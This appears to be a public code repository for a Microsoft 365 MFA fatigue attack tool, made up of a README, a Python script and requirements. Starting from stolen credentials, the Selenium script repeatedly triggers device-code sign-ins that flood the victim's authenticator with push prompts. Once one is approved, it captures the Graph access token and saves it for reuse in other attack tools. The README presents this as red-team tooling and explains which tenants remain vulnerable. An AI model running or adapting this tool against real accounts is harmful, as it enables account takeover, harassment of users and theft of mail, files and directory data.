├── LICENSE ├── README.md ├── m365-fatigue.py └── requirements.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 0xB455 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Microsoft 365 MFA Bombing Script 2 | 3 | This Python script automates the authentication process for Microsoft 365 by using the device code flow and Selenium for automated login. 4 | It keeps bombing the user with MFA requests and stores the access_token once the MFA was approved. 5 | 6 | It is intended to be used in Social Engineering / Red-Team / Pentesting scenarios when targeting O365/MS-Online users in Azure (now called Entra ID). 7 | 8 | In case a username & password combination was compromised it can be used to flood the authenticator app with authentication requests. 9 | Once the second factor has been approved the valid JWT access_token will be stored in decoded and encoded format locally. The token can be reused in other tools like [TokenTactics](https://github.com/f-bader/TokenTacticsV2), [GraphRunner](https://github.com/dafthack/GraphRunner) or manual requesting different endpoints in Azure... 10 | 11 | ## Applicability 12 | Microsoft used to offer different MFA authentication mechanisms within their authenticator app like: 13 | 14 | - Push Notification Approval 15 | - Time-Based One-Time Password (TOTP) 16 | - Phone Sign-in 17 | - Number Matching 18 | - Passwordless Sign-in 19 | 20 | As of May 2023 Microsoft mostly disarmed this fatigue bombing attacks by enforcing the number matching mechanism which require the user to manually enter a two digit number which is presented in the browser as part of the login flow. Generally speaking that breaks simple flooding attacks as only the victim is in possession of the matching number. However one could still retreive the information via real-time social engineering. 21 | If you find environments that still rely on classic push notifications, this attack vector should still work fine. Also I leave it to your own creativity to find applicable scenarios ;-) 22 | 23 | ## Usage 24 | 25 | ### Installation 26 | 27 | 1. Clone this repository. 28 | 29 | 2. Install the required dependencies by running: 30 | 31 | ```bash 32 | pip install -r requirements.txt 33 | ``` 34 | 35 | ### Running the Script 36 | To run the script, execute the following command: 37 | 38 | ```bash 39 | 40 | python m365-fatigue.py --user [--password ] [--interval (default: 60)] 41 | ```` 42 | 43 | Replace with the target Microsoft 365 username. The password can be provided directly after the --password flag, or the script will prompt for it if not supplied. 44 | 45 | The --interval flag allows you to set the polling interval in seconds (default is 60 seconds). 46 | 47 | ### Sample output 48 | 49 | ```bash 50 | m365-fatigue python3 m365-fatigue.py --user user@domain.com 51 | Enter your password: 52 | [*] Username: user@domain.com 53 | [*] Password: ******************************** 54 | [*] Device code: 55 | To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GKZAQ433Q to authenticate. 56 | Bei Ihrem Konto anmelden 57 | https://login.microsoftonline.com/common/oauth2/deviceauth 58 | https://login.microsoftonline.com/common/oauth2/deviceauth 59 | Base64 encoded JWT access_token: 60 | eyJ0 ... [dedacted] ... dsgHmA 61 | Decoded JWT payload: 62 | { 63 | "aud": "https://graph.microsoft.com", 64 | "iss": "https://sts.windows.net/90931373-6ad6-49cb-9d8c-22eebb6968fa/", 65 | "iat": 1701428346, 66 | "nbf": 1701428346, 67 | "exp": 1701433450, 68 | "acct": 0, 69 | "acr": "1", 70 | "aio": " ... [dedacted] ... ", 71 | "amr": [ 72 | "pwd", 73 | "mfa" 74 | ], 75 | "app_displayname": "Microsoft Office", 76 | "appid": " ... [dedacted] ... ", 77 | "appidacr": "0", 78 | "family_name": " ... [dedacted] ... ", 79 | "given_name": " ... [dedacted] ... ", 80 | "idtyp": "user", 81 | "ipaddr": " ... [dedacted] ... ", 82 | "name": " ... [dedacted] ... ", 83 | "oid": " ... [dedacted] ... ", 84 | "onprem_sid": " ... [dedacted] ... ", 85 | "platf": "3", 86 | "puid": " ... [dedacted] ... ", 87 | "rh": " ... [dedacted] ... ", 88 | "scp": "AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite Contacts.ReadWrite DataLossPreventionPolicy.Evaluate Directory.AccessAsUser.All Directory.Read.All Files.Read Files.Read.All Files.ReadWrite.All Group.Read.All Group.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWrite Notes.Create Organization.Read.All People.Read People.Read.All Printer.Read.All PrintJob.ReadWriteBasic SensitiveInfoType.Detect SensitiveInfoType.Read.All SensitivityLabel.Evaluate Tasks.ReadWrite TeamMember.ReadWrite.All TeamsTab.ReadWriteForChat User.Read.All User.ReadBasic.All User.ReadWrite Users.Read", 89 | "sub": " ... [dedacted] ... ", 90 | "tenant_region_scope": "EU", 91 | "tid": " ... [dedacted] ... ", 92 | "unique_name": " ... [dedacted] ... ", 93 | "upn": " ... [dedacted] ... ", 94 | "uti": " ... [dedacted] ... ", 95 | "ver": "1.0", 96 | "wids": [ 97 | " ... [dedacted] ... " 98 | ], 99 | "xms_tcdt": ... [dedacted] ... , 100 | "xms_tdbr": "EU" 101 | } 102 | [*] Successful authentication. Access token expires at: 2023-12-01 12:24:10 103 | [*] Storing token... 104 | Stored Base64 encoded access token as 'access_token_user@domain.com_20231201120406.txt' 105 | Stored decoded access token as 'access_token_user@domain.com_20231201120406.json' 106 | Exiting... 107 | ``` 108 | 109 | ## TODO 110 | The fireprox implementation is yet not finished and may or may not be implemented in the future... 111 | 112 | # Notes 113 | This script utilizes Selenium, which requires a compatible WebDriver (in this case, Chrome WebDriver... but you can change it towards something else if you need to). 114 | 115 | # Credits & Acknowledgements 116 | Heavily inspired by the awesome work of Steve Borosh ([@rvrsh3ll](https://github.com/rvrsh3ll)) and Beau Bullock ([@dafthack](https://github.com/dafthack)). Huge kudos to them for all the awesome research and tooling they release. 117 | 118 | # License 119 | This project is licensed under the [MIT License](https://chat.openai.com/c/LICENSE) 120 | 121 | -------------------------------------------------------------------------------- /m365-fatigue.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | import json 4 | import time 5 | import base64 6 | import getpass 7 | from datetime import datetime, timedelta 8 | 9 | from selenium import webdriver 10 | from selenium.webdriver.common.keys import Keys 11 | from selenium.webdriver.common.by import By 12 | from selenium.webdriver.support import expected_conditions as EC 13 | from selenium.common.exceptions import StaleElementReferenceException 14 | from selenium.webdriver.support.wait import WebDriverWait 15 | 16 | def print_vars(user, password, fireprox_url=None): 17 | print("[*] Username:", user) 18 | print("[*] Password:", "*" * len(password)) 19 | if fireprox_url: 20 | print("[*] Fireprox URL:", fireprox_url) 21 | 22 | # Perform device code request 23 | def get_code(client_id, resource, headers, fireprox_url=None): 24 | device_code_body = { 25 | "client_id": client_id, 26 | "resource": resource 27 | } 28 | 29 | if fireprox_url: 30 | print("[*] Getting code via fireprox:") 31 | print(fireprox_url+"oauth2/devicecode?api-version=1.0") 32 | device_code_response = requests.post(fireprox_url+"common/oauth2/devicecode?api-version=1.0", headers=headers, data=device_code_body).json() 33 | else: 34 | device_code_response = requests.post("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0", headers=headers, data=device_code_body).json() 35 | 36 | print("[*] Device code:") 37 | print(device_code_response["message"]) # Display device code message 38 | return device_code_response["user_code"], device_code_response["device_code"] 39 | 40 | 41 | def login_automation(driver, code=None, user=None, password=None, fireprox_url=None): 42 | 43 | if fireprox_url: 44 | driver.get(fireprox_url+"common/oauth2/deviceauth") 45 | else: 46 | driver.get("https://login.microsoftonline.com/common/oauth2/deviceauth") 47 | 48 | print(driver.title) 49 | 50 | try: 51 | code_fld = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.NAME, "otc"))) 52 | code_fld.clear() 53 | code_fld.send_keys(code) 54 | code_fld.send_keys(Keys.RETURN) 55 | except TimeoutException: 56 | print("Code field not found within 10 seconds") 57 | 58 | print(driver.current_url) 59 | 60 | try: 61 | usr_fld = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.NAME, "loginfmt"))) 62 | usr_fld.clear() 63 | usr_fld.send_keys(user) 64 | usr_fld.send_keys(Keys.RETURN) 65 | except TimeoutException: 66 | print("Login field not found within 10 seconds") 67 | 68 | print(driver.current_url) 69 | 70 | try: 71 | pass_fld = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.NAME, "passwd"))) 72 | pass_fld.clear() 73 | pass_fld.send_keys(password) 74 | pass_fld.send_keys(Keys.RETURN) 75 | except TimeoutException: 76 | print("Password field not found within 10 seconds") 77 | 78 | # Poll for access token using device code 79 | def init_polling(driver, client_id, user_code, username, interval, device_code, headers, fireprox_url=None): 80 | 81 | access_token = None 82 | start_time = time.time() 83 | time_limit = float(interval) 84 | remaining_time = time_limit 85 | 86 | while time.time() - start_time < time_limit: 87 | 88 | sbmt_button = driver.find_elements(By.ID, "idSIButton9") 89 | 90 | if sbmt_button: 91 | for button in sbmt_button: 92 | if "display: none;" not in button.get_attribute("style"): 93 | button.click() 94 | break 95 | else: 96 | pass 97 | else: 98 | pass 99 | 100 | 101 | token_body = { 102 | "client_id": client_id, 103 | "grant_type": "urn:ietf:params:oauth:grant-type:device_code", 104 | "code": device_code, 105 | "scope": "openid" 106 | } 107 | 108 | try: 109 | if fireprox_url: 110 | tokens_response = requests.post(fireprox_url+"oauth2/token?api-version=1.0", headers=headers, data=token_body).json() 111 | else: 112 | tokens_response = requests.post("https://login.microsoftonline.com/common/oauth2/token?api-version=1.0", headers=headers, data=token_body).json() 113 | 114 | print(f"Remaining time: {remaining_time} seconds", end="\r") # Print remaining time, overwrite previous output 115 | remaining_time = time_limit - int(time.time() - start_time) 116 | 117 | if "access_token" in tokens_response: 118 | access_token = tokens_response["access_token"] 119 | print("Base64 encoded JWT access_token:") 120 | print(access_token) 121 | 122 | token_payload = access_token.split(".")[1] + '=' * ((4 - len(access_token.split(".")[1]) % 4) % 4) 123 | token_array = json.loads(base64.b64decode(token_payload).decode('utf-8')) 124 | 125 | tenant_id = token_array["tid"] 126 | print("Decoded JWT payload:") 127 | print(json.dumps(token_array, indent=4)) 128 | 129 | base_date = datetime(1970, 1, 1) 130 | token_expire = base_date + timedelta(seconds=token_array["exp"]) 131 | print("[*] Successful authentication. Access token expires at:", token_expire) 132 | print("[*] Storing token...") 133 | 134 | # Generating timestamp 135 | timestamp = datetime.now().strftime("%Y%m%d%H%M%S") 136 | 137 | # Generating filenames 138 | txt_filename = f"access_token_{username}_{timestamp}.txt" 139 | json_filename = f"access_token_{username}_{timestamp}.json" 140 | 141 | # Storing access token as Base64 encoded version with timestamp 142 | with open(txt_filename, "w") as file_a: 143 | file_a.write(access_token) 144 | print(f"Stored Base64 encoded access token as '{txt_filename}'") 145 | 146 | # Storing access token in JSON format with timestamp 147 | with open(json_filename, "w") as file_b: 148 | json.dump(token_array, file_b, indent=4) 149 | print(f"Stored decoded access token as '{json_filename}'") 150 | 151 | continue_polling = False 152 | return True 153 | 154 | except requests.exceptions.HTTPError as e: 155 | details = e.response.json() 156 | if details.get("error") == "authorization_pending": 157 | time.sleep(3) 158 | else: 159 | print("Error:", details.get("error")) 160 | break 161 | 162 | return False 163 | 164 | 165 | # TODO implement fireprox compability - it's buggy... 166 | 167 | if __name__ == "__main__": 168 | # Azure AD / Microsoft identity platform app configuration 169 | client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" 170 | resource = "https://graph.microsoft.com" 171 | user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042" 172 | headers = { 173 | "Content-Type": "application/x-www-form-urlencoded", 174 | "User-Agent": user_agent 175 | } 176 | 177 | args = iter(sys.argv[1:]) 178 | user = None 179 | password = None 180 | interval = 60 181 | fireprox_url = None 182 | 183 | try: 184 | while True: 185 | arg = next(args) 186 | if arg == "--user": 187 | user = next(args) 188 | elif arg == "--password": 189 | password = next(args) 190 | elif arg == "--interval": 191 | interval = next(args) 192 | elif arg == "--fireprox": 193 | fireprox_url = next(args) 194 | except StopIteration: 195 | pass 196 | 197 | if user: 198 | if not password: 199 | password = getpass.getpass(prompt="Enter your password: ") 200 | print_vars(user, password, fireprox_url) 201 | else: 202 | print("Usage:") 203 | print("python3 m365-fatigue.py --user [--password ] [--interval (default: 60)]\n") 204 | print("Password will be prompted if not supplied directly!\n") 205 | 206 | sys.exit() 207 | 208 | driver = webdriver.Chrome() 209 | 210 | while True: 211 | driver.delete_all_cookies() 212 | 213 | user_code, device_code = get_code(client_id, resource, headers, fireprox_url) 214 | 215 | login_automation(driver, user_code, user, password, fireprox_url) 216 | 217 | if init_polling(driver, client_id, user_code, user, interval, device_code, headers, fireprox_url): 218 | break 219 | 220 | print("Exiting...") 221 | driver.quit() 222 | 223 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | selenium 3 | --------------------------------------------------------------------------------